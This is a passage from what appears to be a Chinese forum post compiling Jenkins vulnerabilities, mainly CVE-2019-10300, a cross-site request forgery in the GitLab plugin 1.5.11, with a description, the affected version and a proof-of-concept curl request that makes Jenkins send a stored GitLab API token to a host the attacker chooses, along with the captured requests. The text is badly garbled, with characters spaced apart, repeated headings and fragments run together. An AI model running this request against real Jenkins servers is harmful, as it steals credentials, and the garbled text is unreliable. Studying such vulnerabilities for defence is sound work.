选 择 然 后 构 建 选 择 上 传 图 片 文 件 。 选 择 开 始 构 建 就 可 以 将 文 件 写 入 运 行 有 写 入 权 限 的 J e n k i n s 的 用 户 的 文 件 系 统 上 的 任 何 位 置 。 1 6 、 、 C V E - 2 0 1 9 - 1 0 3 0 0   G i t L a b 插 件 跨 站 请 求 伪 造 插 件 跨 站 请 求 伪 造 1 6 . 1 、 漏 洞 描 述 、 漏 洞 描 述 是 使 用 在 其 中 的 一 个 构 建 触 发 器 ， 它 允 许 G i t L a b 在 推 送 代 码 或 创 建 合 并 请 求 时 触 发 J e n k i n s 构 建 。 及 之 前 版 本 中 的 表 单 验 证 方 法 存 在 跨 站 请 求 伪 造 漏 洞 ， 该 漏 洞 源 于 W E B 应 用 未 充 分 验 证 请 求 是 否 来 自 可 信 用 户 。 攻 击 者 可 利 用 该 漏 洞 通 过 受 影 响 客 户 端 向 服 务 器 发 送 非 预 期 的 请 求 。 1 6 . 2 、 影 响 版 本 、 影 响 版 本 J e n k i n s   G i t L a b 插 件 1 . 5 . 1 1 1 6 . 3 、 漏 洞 利 、 漏 洞 利 实 例 的 攻 击 示 例 。 需 要 下 载 插 件 ： 该 实 例 运 行 此 插 件 的 漏 洞 版 本 并 配 置 为 允 许 匿 名 读 取 访 问 。 插 件 以 H T T P   G E T 形 式 向 远 程 服 务 器 提 交 的 请 求 将 类 似 于 以 下 内 容 ： B u i l d   w i t h   P a r a m e t e r s G i t L a b   P l u g i n C l o u d B e e s   J e n k i n s   G i t L a b   P l u g i n   1 . 5 . 1 1 G i t L a b C o n n e c t i o n C o n f i g # d o T e s t C o n n e c t i o n J e n k i n s   2 . 1 6 5 h t t p s : / / m i r r o r s . t u n a . t s i n g h u a . e d u . c n / j e n k i n s / p l u g i n s / g i t l a b - p l u g i n / 1 . 5 . 1 1 / g i t l a b - p l u g i n . h p i $   c u r l   - s   - X   G E T   - G           - d   ' u r l = h t t p : / / 1 2 7 . 0 . 0 . 1 : 7 0 0 0 / ? '           - d   ' c l i e n t B u i l d e r I d = a u t o d e t e c t '           - d   ' a p i T o k e n I d = 5 3 2 b a 4 3 1 - e 2 5 d - 4 a a d - b c 7 4 - f b 5 b 2 c c 0 3 b d 7 '           ' h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / j e n k i n s / d e s c r i p t o r B y N a m e / c o m . d a b s q u a r e d . g i t l a b j e n k i n s . c o n n e c t i o n . G i t L a b C o n n e c t i o n C o n f i g / t e s t C o n n e c t i o n ' #   F i r s t   r e q u e s t   f r o m   J e n k i n s   ( G E T ) . / a p i / v 4 / u s e r A c c e p t :   a p p l i c a t i o n / j s o n P R I V A T E - T O K E N :   A S e c r e t T e x t E n t r y H o s t :   1 2 7 . 0 . 0 . 1 : 7 0 0 0 C o n n e c t i o n :   K e e p - A l i v e #   S e c o n d   r e q u e s t   f r o m   J e n k i n s   ( G E T ) / a p i / v 3 / u s e r A c c e p t :   a p p l i c a t i o n / j s o n
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理